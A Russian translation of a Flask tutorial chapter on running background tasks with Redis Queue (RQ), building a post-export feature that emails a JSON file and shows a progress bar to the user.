Эта глава посвящена реализации длительных или сложных процессов, которые должны выполняться как часть приложения. Эти процессы не могут выполняться синхронно в контексте запроса, поскольку блокируют ответ клиенту на время выполнения задачи. Я кратко коснулся этой темы в [главе 10](https://habrahabr.ru/post/348566/), переместив отправку сообщений электронной почты в фоновые потоки, чтобы клиенту не приходилось ждать в течение тех 3-4 секунд, которые требуются для отправки электронной почты. Хотя использование потоков для сообщений электронной почты является приемлемым, это решение плохо масштабируется, когда рассматриваемые процессы намного длиннее. Общепринятой практикой является выгрузка длинных задач в рабочий процесс или, скорее всего, в пул.
Чтобы оправдать необходимость в длительных задачах, я собираюсь ввести функцию экспорта в Microblog, через которую пользователи смогут запрашивать файл данных со всеми своими сообщениями в блоге. Когда пользователь использует эту опцию, приложение должно экспортировать все сообщения пользователя в файл JSON, а затем отправить его пользователю по электронной почте. Пока все это происходит, пользователь увидит уведомление, показывающее процент завершения.
*Ссылки GitHub для этой главы:* [Browse](https://github.com/miguelgrinberg/microblog/tree/v0.22), [Zip](https://github.com/miguelgrinberg/microblog/archive/v0.22.zip), [Diff](https://github.com/miguelgrinberg/microblog/compare/v0.21...v0.22).
Введение в очереди задач
------------------------
Очереди задач (*Task queues*) предоставляют приложению удобное решение для запроса выполнения задачи рабочим процессом. Рабочие процессы выполняются независимо от приложения и даже могут располагаться в другой системе. Связь между приложением и обработчиком осуществляется через очередь сообщений (*message queue*). Приложение отправляет задание, а затем отслеживает его выполнение, взаимодействуя с очередью. На следующей схеме показана типичная реализация:
Самая популярная очередь задач для Python — [Celery](http://www.celeryproject.org/). Это довольно сложный пакет, который имеет множество опций и поддерживает несколько очередей сообщений. Другой популярный вариант очереди задач Python — [Redis Queue](http://python-rq.org/) или просто RQ, который поддерживает только очередь сообщений Redis, но гораздо проще настраивается по сравнению с Celery.
Как Celery, так и RQ вполне подходят для поддержки фоновых задач в приложении Flask, поэтому моему выбору для этого приложения будет способствовать простота RQ. Тем не менее, реализация такой же функциональности с Celery не сильно сложнее. Если вас интересует Celery больше, чем RQ, вы можете прочитать статью [Использование Celery с Flask](https://blog.miguelgrinberg.com/post/using-celery-with-flask), которую я написал в своем блоге.
Использование RQ
----------------
RQ — стандартный пакет Python, который устанавливается через `pip`:
```
(venv) $ pip install rq
(venv) $ pip freeze > requirements.txt
```
Как я уже упоминал ранее, связь между приложением и обработчиком RQ будет осуществляться в очереди сообщений Redis, поэтому вам нужно запустить сервер Redis. Есть много вариантов установки и запуска сервера Redis в один клик для загрузки установщиков исходного кода и компиляции его непосредственно в вашей системе. Если Вы используете Windows, то Microsoft поддерживает установщики [здесь](https://github.com/MicrosoftArchive/redis/releases). В Linux вы, вероятно, можете получить его как пакет через менеджер пакетов вашей операционной системы. Пользователи Mac OS X могут запустить `brew install redis`, а затем запустить службу вручную с помощью команды `redis-server`.
Вам не нужно будет взаимодействовать с Redis во всем, кроме проверки, что служба запущена и доступна для RQ.
Создание Task (Задачи)
----------------------
Я покажу вам, как выполнить простую задачу через RQ, чтобы вы ознакомились с ней. Task-это не более чем функция Python. Вот пример задачи, которую я собираюсь реализовать в новом модуле *app/tasks.py*:
> **app/tasks.py**: Пример фоновой задачи.
```
import time
def example(seconds):
print('Starting task')
for i in range(seconds):
print(i)
time.sleep(1)
print('Task completed')
```
Эта задача принимает число секунд в качестве аргумента, а затем ожидает это время, печатая счетчик один раз в секунду.
Запуск RQ Worker
----------------
Теперь, когда задача готова, обработчик может стартовать. Это делается с помощью команды `rq worker`:
```
(venv) $ rq worker microblog-tasks
18:55:06 RQ worker 'rq:worker:miguelsmac.90369' started, version 0.9.1
18:55:06 Cleaning registries for queue: microblog-tasks
18:55:06
18:55:06 *** Listening on microblog-tasks...
```
Рабочий процесс теперь подключен к Redis и отслеживает все задания, которые могут быть ему назначены в очереди с именем `microblog-tasks`. В случаях, когда требуется, чтобы несколько обработчиков имели большую пропускную способность, все, что вам нужно сделать, это запустить больше экземпляров `rq worker`, все подключенные к одной очереди. Затем, когда задание появится в очереди, его выберет любой из доступных рабочих процессов. В рабочей среде (*production environment*), вероятно, потребуется иметь по крайней мере столько рабочих процессоров, сколько доступно в CPU.
Выполнение Задач
----------------
Теперь откройте второе окно терминала и активируйте в нем виртуальную среду. Я собираюсь использовать сеанс оболочки, чтобы запустить задачу `example()` в worker:
```
>>> from redis import Redis
>>> import rq
>>> queue = rq.Queue('microblog-tasks', connection=Redis.from_url('redis://'))
>>> job = queue.enqueue('app.tasks.example', 23)
>>> job.get_id()
'c651de7f-21a8-4068-afd5-8b982a6f6d32'
```
Класс `Queue` из RQ представляет очередь задач со стороны приложения. Он принимает два аргумента, — это имя очереди и объект соединения `Redis`, который в этом случае я инициализирую с URL-адресом по умолчанию. Если сервер Redis работает на другом хосте или порту, необходимо использовать другой URL-адрес.
Метод `enqueue()` используется для добавления задания в очередь. Первый аргумент-это имя задачи, которую вы хотите выполнить, заданное непосредственно как объект функции или как строка импорта. Я нахожу опцию string гораздо более удобной, так как это делает ненужным импорт функции на стороне приложения. Все оставшиеся аргументы, данные `enqueue()`, будут переданы функции, запущенной в worker.
Как только будет сделан вызов `enqueue()`, вы заметите некоторую активность в первом окне терминала, в котором запущен worker RQ. Вы увидите, что функция `example()` теперь работает и печатает счетчик один раз в секунду. В то же время, ваш другой терминал не заблокирован, и вы можете продолжить вычисление выражений в оболочке. В приведенном выше примере я назвал метод `job.get_id()`, чтобы получить уникальный идентификатор задачи. Еще одно интересное выражение, которое можно попробовать использовать с объектом `job`, — проверить, закончилась ли работа функции на рабочем месте:
```
>>> job.is_finished
False
```
Если вы передали `23` как я сделал в моем примере выше, то функция будет работать около 23 секунд. После этого времени, `job.is_finished` станет `True`. Разве это не здорово?! Мне очень нравится простота RQ!
Как только функция завершает работу, обработчик (*worker*) возвращается к ожиданию новых заданий, так что вы можете повторить вызов `enqueue()` с другими аргументами, если вы хотите побольше поэкспериментировать. Данные, которые хранятся в очереди относительно задачи, останутся там на некоторое время (по умолчанию 500 секунд), но в конечном итоге будут удалены. Это важно, очередь задач не сохраняет историю выполненных заданий.
Отчет о ходе выполнения задачи
------------------------------
Пример задачи, который я использовал выше, нереально прост. Как правило в процессе длительной задачи вы хотите, чтобы какая-то информация о ходе выполнения была доступна приложению, которое, в свою очередь, может показать ее пользователю. RQ поддерживает это с помощью атрибута объекта задания `meta`. Позвольте мне переписать задачу `example()` для записи отчетов о ходе выполнения:
> **app/tasks.py**: Пример фоновой задачи с отчетом о ходе выполнения.
```
import time
from rq import get_current_job
def example(seconds):
job = get_current_job()
print('Starting task')
for i in range(seconds):
job.meta['progress'] = 100.0 * i / seconds
job.save_meta()
print(i)
time.sleep(1)
job.meta['progress'] = 100
job.save_meta()
print('Task completed')
```
Эта новая версия `example()` использует функцию RQ `get_current_job()` для получения экземпляра задания, аналогичного тому, который возвращается приложению при отправке задачи. Атрибут объекта задания `meta`-это словарь, в котором задача может записывать любые пользовательские данные, которые она хочет передать приложению. В этом примере для записи я использую элемент `progress`, представляющий процент выполнения задачи. Каждый раз, когда прогресс обновляется, я называю `job.save_meta()` для указания RQ записать данные в Redis, где приложение может их найти.
На стороне приложения (в настоящее время только оболочка Python) я могу запустить эту задачу, а затем отслеживать ход выполнения следующим образом:
```
>>> job = queue.enqueue('app.tasks.example', 23)
>>> job.meta
{}
>>> job.refresh()
>>> job.meta
{'progress': 13.043478260869565}
>>> job.refresh()
>>> job.meta
{'progress': 69.56521739130434}
>>> job.refresh()
>>> job.meta
{'progress': 100}
>>> job.is_finished
True
```
Как вы можете видеть выше, на этой стороне атрибут `meta` доступен для чтения. Для обновления содержимого из Redis необходимо вызвать метод `refresh()`.
Представление задач в базе данных
---------------------------------
Для приведенного выше примера было достаточно запустить задачу и посмотреть, как она выполняется. Для веб-приложения все становится немного сложнее, потому что как только одна из этих задач запускается как часть запроса, этот запрос завершается, и весь контекст для этой задачи будет потерян. Поскольку я хочу, чтобы приложение отслеживало, какие задачи выполняет каждый пользователь, мне нужно использовать таблицу базы данных для поддержания некоторого состояния. Ниже вы можете увидеть новую реализацию модели `Task`:
> **app/models.py**: Task model.
```
# ...
import redis
import rq
class User(UserMixin, db.Model):
# ...
tasks = db.relationship('Task', backref='user', lazy='dynamic')
# ...
class Task(db.Model):
id = db.Column(db.String(36), primary_key=True)
name = db.Column(db.String(128), index=True)
description = db.Column(db.String(128))
user_id = db.Column(db.Integer, db.ForeignKey('user.id'))
complete = db.Column(db.Boolean, default=False)
def get_rq_job(self):
try:
rq_job = rq.job.Job.fetch(self.id, connection=current_app.redis)
except (redis.exceptions.RedisError, rq.exceptions.NoSuchJobError):
return None
return rq_job
def get_progress(self):
job = self.get_rq_job()
return job.meta.get('progress', 0) if job is not None else 100
```
Интересным отличием этой модели от предыдущих является то, что поле первичного ключа `id` является строкой, а не целым числом. Это потому, что для этой модели я не собираюсь полагаться на собственную генерацию первичного ключа базой данных, а вместо этого буду использовать идентификаторы заданий, созданные RQ.
Модель будет хранить полное имя задачи (переданное в RQ), описание задачи, подходящее для отображения пользователям, связь с пользователем, запросившим задачу, и логическое значение, указывающее, завершена задача или нет. Цель поля `complete`-отделить завершенные задачи от задач, которые активно выполняются, так как выполняемые задачи требуют специальной обработки для отображения хода выполнения обновлений.
Метод `get_rq_job()` является вспомогательным методом, который загружает экземпляр RQ `Job` из заданного идентификатора задачи, который я могу получить из модели. Это делается с помощью `Job.fetch()`, который загружает экземпляр задания из данных, существующих в Redis. Метод `get_progress()` строится поверх метода `get_rq_job()` и возвращает процент выполнения задачи. Этот метод имеет несколько интересных предположений. Если идентификатор задания из модели не существует в очереди RQ, это означает, что задание уже завершено, а срок действия данных истек и было удалено из очереди, поэтому в этом случае возвращается 100 процентов. С другой стороны, если задание существует, но нет никакой информации, связанной с атрибутом `meta`, то можно с уверенностью предположить, что задание запланировано на выполнение, но еще не было возможности начать, поэтому в этой ситуации возвращается 0 как прогресс.
Чтобы применить изменения к схеме базы данных, необходимо создать новую миграцию, а затем обновить базу данных:
```
(venv) $ flask db migrate -m "tasks"
(venv) $ flask db upgrade
```
Новая модель также может быть добавлена в контекст оболочки, чтобы сделать ее доступной в сеансах оболочки без необходимости её импорта:
> **microblog.py**: Добавляем модель задачи в контекст оболочки.
```
from app import create_app, db, cli
from app.models import User, Post, Message, Notification, Task
app = create_app()
cli.register(app)
@app.shell_context_processor
def make_shell_context():
return {'db': db, 'User': User, 'Post': Post, 'Message': Message,
'Notification': Notification, 'Task': Task}
```
Интеграция RQ с приложением Flask
---------------------------------
В конфигурацию необходимо добавить URL-адрес подключения для службы Redis:
```
class Config(object):
# ...
REDIS_URL = os.environ.get('REDIS_URL') or 'redis://'
```
Как всегда, URL-адрес подключения Redis будет получен из переменной окружения, и если переменная не определена, будет использоваться URL-адрес по умолчанию, который предполагает, что служба работает на том же узле и порту по умолчанию.
Функция фабрики применения будет отвечать за инициализацию Redis и RQ:
> **app/\_*init\_*.py**: RQ интеграция.
```
# ...
from redis import Redis
import rq
# ...
def create_app(config_class=Config):
# ...
app.redis = Redis.from_url(app.config['REDIS_URL'])
app.task_queue = rq.Queue('microblog-tasks', connection=app.redis)
# ...
```
`app.task_queue` будет очередью, в которой будут представлены задачи. Наличие очереди, прикрепленной к приложению, удобно, потому что в любом месте приложения я могу использовать `current_app.task_queue` для доступа к нему. Чтобы облегчить отправку или проверку какой-либо части приложения, я могу создать несколько вспомогательных методов в модели `User`:
> **app/models.py**: Вспомогательные методы задачи в пользовательской модели.
```
# ...
class User(UserMixin, db.Model):
# ...
def launch_task(self, name, description, *args, **kwargs):
rq_job = current_app.task_queue.enqueue('app.tasks.' + name, self.id,
*args, **kwargs)
task = Task(id=rq_job.get_id(), name=name, description=description,
user=self)
db.session.add(task)
return task
def get_tasks_in_progress(self):
return Task.query.filter_by(user=self, complete=False).all()
def get_task_in_progress(self, name):
return Task.query.filter_by(name=name, user=self,
complete=False).first()
```
Метод `launch_task()` передаёт задачу в очередь RQ вместе с добавлением её в базу данных. Аргумент `name` является именем функции, как определено в *app/tasks.py*. При отправке в RQ функция добавляет к `app.tasks`.`name` что бы построить полное имя функции. Аргумент `description`-это внятное описание задачи, которое может быть представлено пользователям. Для функции, экспорта сообщения в блоге, я буду использовать имя `export_posts` и описания `Exporting posts...`. Остальные аргументы являются позиционными и ключевыми аргументами, которые будут переданы задаче. Функция начинается с вызова метода очереди `enqueue()` для отправки задания. Возвращаемый объект задания содержит id задачи, назначенный RQ, поэтому я могу использовать его для создания соответствующего объекта задачи в своей базе данных.
Обратите внимание, что `launch_task()` добавляет, но не фиксит новый объект `Task` в сеансе. В общем случае лучше всего работать с сеансом базы данных в функциях более высокого уровня, так как это позволяет объединить несколько обновлений, сделанных функциями более низкого уровня, в одну транзакцию. Это не строгое правило, и далее в этой главе вы увидите исключение, в котором фиксация выполняется в дочерней функции.
Метод `get_tasks_in_progress()` возвращает полный список функций, которые выдаются пользователю. Позже вы увидите, что я использую этот метод для включения информации о выполняемых задачах на страницах, которая отображаются пользователю.
Наконец, `get_task_in_progress()` является более простой версией предыдущей, которая возвращает конкретную задачу. Я запрещаю пользователям запускать две или более задачи одного типа одновременно, поэтому перед запуском задачи я могу использовать этот метод, чтобы узнать, выполняется ли предыдущая задача в настоящее время.
Отправка сообщений электронной почты из RQ Task
-----------------------------------------------
Это может показаться отступлением от основной темы, но как я уже сказал выше, с завершением фоновой задача экспорта, пользователю будет отправлено электронное письмо с файлом JSON, который содержит все сообщения. Функциональность электронной почты, которую я представил в [главе 11](https://habrahabr.ru/post/349060/), должна быть расширена двумя способами. Во-первых, мне нужно добавить поддержку вложений файлов, чтобы я мог прикрепить файл JSON. Во-вторых, функция `send_email()` отправляет письма асинхронно, используя фоновый поток. Когда я собираюсь отправить электронное письмо из фоновой задачи, которая уже асинхронна, наличие фоновой задачи второго уровня, основанной на потоке, имеет мало смысла, поэтому мне нужно поддерживать как синхронную, так и асинхронную отправку электронной почты.
К счастью, Flask-Mail поддерживает вложения, поэтому все, что мне нужно сделать, это расширить функцию `send_email()`, чтобы взять их(вложения) в дополнительный аргумент, а затем настроить их в объекте `Message`. И дополнительно отправить письмо как приоритетную задачу, мне просто нужно добавить логический аргумент `sync`:
> **app/email.py**: Отправка писем с вложениями.
```
# ...
def send_email(subject, sender, recipients, text_body, html_body,
attachments=None, sync=False):
msg = Message(subject, sender=sender, recipients=recipients)
msg.body = text_body
msg.html = html_body
if attachments:
for attachment in attachments:
msg.attach(*attachment)
if sync:
mail.send(msg)
else:
Thread(target=send_async_email,
args=(current_app._get_current_object(), msg)).start()
```
Метод `attach()` класса `Message` принимает три аргумента, определяющих вложение: Имя файла, Тип носителя и фактические данные файла. Имя файла — это просто имя, которое увидит получатель, связанное с вложением, оно не должно быть реальным файлом. Тип носителя определяет, какой это тип вложения, что помогает читателям электронной почты отображать его соответствующим образом. Например, если вы отправляете `jpg/png` в качестве типа носителя, читатель электронной почты будет знать, что вложение является изображением, и в этом случае он может показать его как таковое. Для файла данных записи блога я собираюсь использовать Формат JSON, который использует тип мультимедиа `application/json`. Третий и последний аргумент-это строка или последовательность байтов с содержанием вложения.
Чтобы сделать его простым, аргумент `attachments` для `send_email()` будет списком кортежей, и каждый кортеж будет иметь три элемента, которые соответствуют трем аргументам `attach()`. Поэтому для каждого элемента в этом списке, необходимо отправить кортеж в качестве аргумента `attach()`. В Python, если у вас есть список или кортеж с аргументами, которые вы хотите отправить в функцию, вы можете использовать `func(*args)`, чтобы этот список был расширен в фактический список аргументов, вместо того, чтобы использовать более утомительный синтаксис, такой как `func(args[0], args[1], args[2])`. Например, если у вас `args = [1, 'foo']`, вызов отправит два аргумента, как если бы вы вызвали `func (1, 'foo')`. Без `*` вызов имел бы единственный аргумент, который был бы списком.
Что касается синхронной отправки электронной почты, то мне нужно было просто вернуться к вызову `mail.send(msg)` непосредственно, когда `sync` *is* `True`.
Task Helpers
------------
Хотя задача `example()`, которую я использовал выше, была простой автономной функцией, функция, которая экспортирует сообщения в блоге, потребует некоторых функций, которые у меня есть в приложении, как доступ к базе данных и функции отправки электронной почты. Поскольку это будет выполняться в отдельном процессе, мне нужно инициализировать Flask-SQLAlchemy и Flask-Mail, которые, в свою очередь, нуждаются в экземпляре приложения Flask, из которого можно получить их конфигурацию. Поэтому я собираюсь добавить экземпляр приложения Flask и контекст приложения в верхней части модуля *app/tasks.py*:
> **app/tasks.py**: Создание приложения и контекста.
```
from app import create_app
app = create_app()
app.app_context().push()
```
Приложение создается в этом модуле, так как это единственный модуль, который будет импортировать RQ worker. При использовании команды `flask` модуль *microblog.py* в корневом каталоге создает приложение, но RQ worker ничего об этом не знает, поэтому ему необходимо создать собственный экземпляр приложения, если это необходимо функциям задачи. Вы видели метод `app.app_context()` уже в нескольких местах, нажатие контекста делает приложение "текущим" экземпляром приложения, и это позволяет таким расширениям, как Flask-SQLAlchemy, использовать `current_app.config` для получения их конфигурации. Без контекста выражение `current_app` возвращает ошибку.
Затем я задумался о том, каким образом я буду сообщать о ходе выполнения этой функции. В дополнении к передаче информации о ходе работы через словарь `job.meta`, я хотел бы отправить уведомления клиенту, чтобы можно было динамически обновлять процент завершения без необходимости обновления страницы. Для этого я собираюсь использовать механизмы уведомления похожие на те, которые я создал в [главе 21](https://habrahabr.ru/post/354322/). Обновления будут работать похожим образом на значок непрочитанных сообщений. Когда сервер отображает шаблон, он будет включать "статическую" информацию о ходе выполнения, полученную из `job.meta`, но затем, как только страница появится в браузере клиента, уведомления будут динамически обновлять процент с помощью уведомлений. Из-за уведомлений обновление хода выполнения запущенной задачи будет немного более сложным, чем то, как я это сделал в предыдущем примере, поэтому я собираюсь создать функцию-декоратор, посвященную обновлению хода выполнения:
> **app/tasks.py**: Установка хода выполнения задачи.
```
from rq import get_current_job
from app import db
from app.models import Task
# ...
def _set_task_progress(progress):
job = get_current_job()
if job:
job.meta['progress'] = progress
job.save_meta()
task = Task.query.get(job.get_id())
task.user.add_notification('task_progress', {'task_id': job.get_id(),
'progress': progress})
if progress >= 100:
task.complete = True
db.session.commit()
```
Задача экспорта может вызвать `_set_task_progress()` для записи процента выполнения. Функция сначала записывает процент в словарь `job.meta` и сохраняет его в Redis, затем загружает соответствующий объект task из базы данных и использует `task.user` для отправки уведомления пользователю, запросившему задачу, используя существующий метод `add_notification()`. Уведомление будет называться `task_progress`, и данные, связанные с ним, будут словарем с двумя элементами, идентификатором задачи и номером индикатора хода выполнения (progress number). Позже я добавлю код JavaScript, чтобы действовать на этот новый тип уведомления.
Функция проверяет, показывает ли индикатора хода выполнения, что функция завершена, и в этом случае также обновляет `complete` атрибут объекта задачи в базе данных. Вызов коммита базы данных гарантирует, что задача и объект уведомления, добавленные `add_notification()`, будут немедленно сохранены в базе данных. Мне нужно было быть очень осторожным в том, как я разработал родительскую задачу, чтобы не изменять какие-либо базы данных, так как этот коммит также записывал бы эти изменения.
Реализация задачи экспорта
--------------------------
Теперь все части на месте и можно написать функцию экспорта. Структура верхнего уровня этой функции будет выглядеть следующим образом:
> **app/tasks.py**: Общая структура экспорта сообщений.
```
def export_posts(user_id):
try:
# читать сообщения пользователей из базы данных
# отправить письмо с данными пользователю
except:
# обработки непредвиденных ошибок
```
Зачем переносить всю задачу в блок try/except? Код приложения, который существует в обработчиках запросов, защищен от непредвиденных ошибок, потому что сам Flask перехватывает исключения, а затем обрабатывает их, наблюдая за любыми обработчиками ошибок и конфигурацией ведения журнала, которые я настроил для приложения. Эта функция, однако, будет выполняться в отдельном процессе, который управляется RQ, а не Flask, поэтому, если возникнут непредвиденные ошибки, задача будет прервана, RQ отобразит ошибку на консоли, а затем вернется к ожиданию новых заданий. Поэтому, если вы не смотрите вывод RQ worker или не записываете его в лог-файл, вы никогда не узнаете, что произошла ошибка.
Давайте расмотрим три раздела отмеченные комментариями выше, по порядку с самого простого, которым является обработка ошибок в самом конце:
> **app/tasks.py**: Обработка ошибок экспорта записей.
```
import sys
# ...
def export_posts(user_id):
try:
# ...
except:
_set_task_progress(100)
app.logger.error('Unhandled exception', exc_info=sys.exc_info())
```
Всякий раз, когда возникает непредвиденная ошибка, я буду помечать задачу как завершенную, установив прогресс на 100%, а затем используя объект logger из приложения Flask регистрировать ошибку вместе с трассировкой стека, которая предоставляется вызовом `sys.exc_info()`. Приятным известием является то, что при использовании flask Application logger любые механизмы ведения журнала, которые вы реализовали для приложения Flask будут соблюдаться и здесь. Например, в [главе 7](https://habrahabr.ru/post/346880/) я настроил отправку ошибок на адрес электронной почты администратора. Просто с помощью `app.logger` я также получаю такое поведение для этих ошибок.
Затем я закодирую фактический экспорт, который просто выдает запрос к базе данных и просматривает результаты в цикле, накапливая их в словаре:
> **app/tasks.py**: Чтение сообщений пользователей из базы данных.
```
import time
from app.models import User, Post
# ...
def export_posts(user_id):
try:
user = User.query.get(user_id)
_set_task_progress(0)
data = []
i = 0
total_posts = user.posts.count()
for post in user.posts.order_by(Post.timestamp.asc()):
data.append({'body': post.body,
'timestamp': post.timestamp.isoformat() + 'Z'})
time.sleep(5)
i += 1
_set_task_progress(100 * i // total_posts)
# отправить письмо с данными пользователю
except:
# ...
```
Для каждого поста функция будет включать словарь с двумя элементами, телом поста и временем написания поста. Время будет записано в стандарте ISO 8601. Объекты `datetime` Python, которые я использую, не хранят часовой пояс, поэтому после экспорта времени в формате ISO я добавляю "Z", что указывает на UTC.
Код немного усложняется из-за необходимости отслеживать прогресс. Я поддерживаю счетчик `i`, и мне нужно выполнить дополнительный запрос к базе данных, прежде чем я войду в цикл для `total_posts`, чтобы получить количество сообщений. С помощью `i` и `total_posts` каждая итерация цикла может обновлять ход выполнения задачи числом от 0 до 100.
Возможно, вы заметили, что я также добавил вызов `time.sleep(5)` в каждой итерации цикла. Основная причина, по которой я добавил sleep, заключается в том, чтобы сделать задачу экспорта более длительной и иметь возможность видеть рост прогресса, даже когда экспорт охватывает всего несколько сообщений в блоге.
Ниже вы можете увидеть последнюю часть функции, которая отправляет пользователю электронное письмо со всей информацией, собранной в `data` в качестве вложения:
> **app/tasks.py**: Сообщения электронной почты для пользователя.
```
import json
from flask import render_template
from app.email import send_email
# ...
def export_posts(user_id):
try:
# ...
send_email('[Microblog] Your blog posts',
sender=app.config['ADMINS'][0], recipients=[user.email],
text_body=render_template('email/export_posts.txt', user=user),
html_body=render_template('email/export_posts.html', user=user),
attachments=[('posts.json', 'application/json',
json.dumps({'posts': data}, indent=4))],
sync=True)
except:
# ...
```
Это просто вызов функции `send_email()`. Вложение определяется как кортеж с тремя элементами, которые затем передаются методу `attach()` объекта Flask-Mail's `Message`. Третий элемент в кортеже-это содержимое вложения, которое создается с помощью функции Python `json.dumps()`.
Есть пара новых шаблонов, указанных здесь, которые обеспечивают содержание сообщения в текстовом и HTML виде. Вот текстовый шаблон:
> **app/templates/email/export\_posts.txt**: Export posts text email template.
```
Dear {{ user.username }},
Please find attached the archive of your posts that you requested.
Sincerely,
The Microblog Team
```
Вот HTML-версия письма:
> app/templates/email/export\_posts.html: Export posts HTML email template.
```
Dear {{ user.username }},
Please find attached the archive of your posts that you requested.
Sincerely,
The Microblog Team
```
Экспорт функциональности в приложении
-------------------------------------
Все основные части для поддержки фоновых задач экспорта теперь на месте. Остается подключить эту функциональность к приложению, чтобы пользователи могли размещать запросы на отправку сообщений по электронной почте.
Ниже вы можете увидеть новую функцию просмотра `export_posts`:
> **app/main/routes.py**: Export posts route and view function.
```
@bp.route('/export_posts')
@login_required
def export_posts():
if current_user.get_task_in_progress('export_posts'):
flash(_('An export task is currently in progress'))
else:
current_user.launch_task('export_posts', _('Exporting posts...'))
db.session.commit()
return redirect(url_for('main.user', username=current_user.username))
```
Функция сначала проверяет, есть ли у пользователя невыполненная задача экспорта, и в этом случае просто мигает сообщение. На самом деле нет смысла иметь две задачи экспорта для одного и того же пользователя одновременно, поэтому это предотвращается. Я могу проверить это условие, используя метод `get_task_in_progress()`, который я реализовал ранее.
Если пользователь еще не запустил экспорт, то для его запуска вызывается `launch_task()`. Первый аргумент-это имя функции, которое будет передано RQ worker с префиксом `app.tasks.`. Второй аргумент-это просто текстовое описание, которое будет показано пользователю. Оба значения записываются в объект `Task` в базе данных. Функция завершается перенаправлением на страницу профиля пользователя.
Теперь мне нужно предоставить ссылку на этот маршрут, к которому пользователь может получить доступ для запроса экспорта. Я думаю, что самое подходящее место для этого на странице профиля пользователя, где ссылка может быть показана только при просмотре своей страницы, прямо под "Редактировать профиль":
> **app/templates/user.html**: Ссылка Экспорт на странице профиля пользователя.
```
...
[{{ \_('Edit your profile') }}]({{ url_for('main.edit_profile') }})
{% if not current_user.get_task_in_progress('export_posts') %}
[{{ \_('Export your posts') }}]({{ url_for('main.export_posts') }})
...
{% endif %}
```
Эта ссылка привязана к условию, потому что я не хочу, чтобы она отображалась, когда пользователь уже выполняет экспорт.
На этом этапе фоновые задания должны быть функциональными, но без обратной связи с пользователем. Если вы хотите попробовать это, вы можете запустить приложение и RQ worker следующим образом:
* Убедитесь, что Redis запущен
* В первом окне терминала, запустите один или несколько экземпляров обработчиков RQ. Для этого необходимо использовать команду `rq worker microblog-tasks`
* Во втором окне терминала запустите Приложение Flask, набрав `flask run` (не забудьте сначала установить `FLASK_APP`)
Уведомления о ходе выполнения
-----------------------------
В завершении этой функции, я хочу предоставить пользователю во время выполнении фоновой задачи процент её завершения. Просматривая параметры компонента Bootstrap, я решил использовать для этого предупреждение под панелью навигации. Предупреждения-это цветные горизонтальные полосы, отображающие информацию для пользователя. Синие окна оповещения-это то, что я использую для отображения мигающих сообщений. Теперь я собираюсь добавить зеленый, чтобы показать статус прогресса. Ниже Вы можете увидеть, как это будет выглядеть:
> **app/templates/base.html**: Оповещение о ходе выполнения Экспорта в базовом шаблоне.
```
...
{% block content %}
{% if current\_user.is\_authenticated %}
{% with tasks = current\_user.get\_tasks\_in\_progress() %}
{% if tasks %}
{% for task in tasks %}
{{ task.description }}
{{ task.get\_progress() }}%
{% endfor %}
{% endif %}
{% endwith %}
{% endif %}
...
{% endblock %}
...
```
Метод отображения оповещений задачи практически идентичен этим мигающим флешевым сообщениям. Внешнее условие пропускает всю связанную с предупреждением разметку если пользователь не вошел в систему. Для зарегистрированных пользователей я получаю текущий список задач, вызывая метод `get_tasks_in_progress()`, который я создал ранее. В текущей версии приложения я получу только один результат, так как я не разрешаю более одного активного экспорта за раз, но в будущем я могу захотеть поддерживать другие типы задач, которые могут сосуществовать, поэтому написание этого общим способом может сэкономить мне время позже.
Для каждой задачи я пишу элемент alert на страницу. Цвет оповещения контролируется вторым стилем CSS, который в данном случае является `alert-success`, в то время как в случае мигающих Сообщений был alert-info. [Документация Bootstrap](https://getbootstrap.com/docs/3.3/components/#alerts) содержит подробные сведения о структуре HTML для оповещений. Текст включает описание полей, хранящихся в модели задач, а затем завершение в процентах.
Процент обернут в элемент , который имеет атрибут `id`. Причина этого заключается в том, что я собираюсь обновить процент JavaScript при получении уведомления. Идентификатор, который я использую для данной задачи, создается как идентификатор задачи с добавлением `-progress` в конце. Когда приходит уведомление, оно будет содержать идентификатор задачи, поэтому я могу легко найти правильный элемент для обновления с помощью селектора для `# - progress`.
Если вы попробуете приложение на этом этапе, вы увидите "статические" обновления хода выполнения, при каждом переходе на новую страницу. Вы заметите, что после запуска задачи экспорта вы можете свободно переходить на разные страницы приложения, и состояние запущенной задачи всегда будет вызываться.
Чтобы подготовить динамические обновления к элементам процента , я напишу небольшую вспомогательную функцию на JavaScript:
> **app/templates/base.html**: Вспомогательная функция для динамического обновления индикатора хода выполнения задачи.
```
...
{% block scripts %}
...
...
function set\_task\_progress(task\_id, progress) {
$('#' + task\_id + '-progress').text(progress);
}
...
{% endblock %}
```
Эта функция принимает `id` задачи и значение хода выполнения и использует jQuery для поиска элемента для этой задачи и записи нового хода выполнения в качестве его содержимого. На самом деле нет необходимости проверять, существует ли элемент на странице, потому что jQuery ничего не будет делать, если элементы не расположены с данным селектором.
Уведомления уже поступают в браузер, так как функция `_set_task_progress()` в *app/tasks.py* вызывает `add_notification()` при каждом обновлении хода выполнения. Если вас смущает то, как эти уведомления могут достигать браузера без необходимости что-либо делать, это действительно потому, что в [главе 21](https://habrahabr.ru/post/354322/) я был достаточно предусмотрителен, чтобы реализовать функцию уведомлений в совершенно общем виде. Любые уведомления, добавляемые с помощью метода `add_notification()`, будут видны браузеру, когда он периодически запрашивает у сервера обновления уведомлений.
Но код JavaScript, который обрабатывает эти уведомления, распознает только те, которые имеют имя `unread_message_count`, и игнорирует остальные. Теперь мне нужно развернуть эту функцию, чтобы также обрабатывать уведомления `task_progress`, вызывая функцию `set_task_progress()`, которую я определил выше. Вот обновленная версия цикла, который обрабатывает уведомления из JavaScript:
> **app/templates/base.html**: Обработчик уведомлений.
```
for (var i = 0; i < notifications.length; i++) {
switch (notifications[i].name) {
case 'unread_message_count':
set_message_count(notifications[i].data);
break;
case 'task_progress':
set_task_progress(
notifications[i].data.task_id,
notifications[i].data.progress);
break;
}
since = notifications[i].timestamp;
}
```
Теперь, когда мне нужно обработать два разных уведомления, я решил заменить оператор `if`, который проверял имя уведомления `unread_message_count`, оператором `switch`, который содержит один раздел для каждого уведомления, которое мне теперь нужно поддерживать. Если вы не особо знакомы с семейством языков "C", возможно, вы не встречали операторы switch раньше. Они предоставляют удобный синтаксис, который заменяет длинную цепочку операторов `if/elseif`. Это удобно для поддержания большого числа уведомлений, я могу просто продолжать добавлять их в качестве дополнительных блоков.
Если вы помните, данные, которые задача RQ прикрепляет к уведомлению `task_progress`, являются словарем с двумя элементами `task_id` и `progress`, которые являются двумя аргументами предназначенными для вызова `set_task_progress()`.
Если вы запустите приложение сейчас, индикатор выполнения в зеленом окне оповещения будет обновляться каждые 10 секунд, так как уведомления доставляются клиенту.
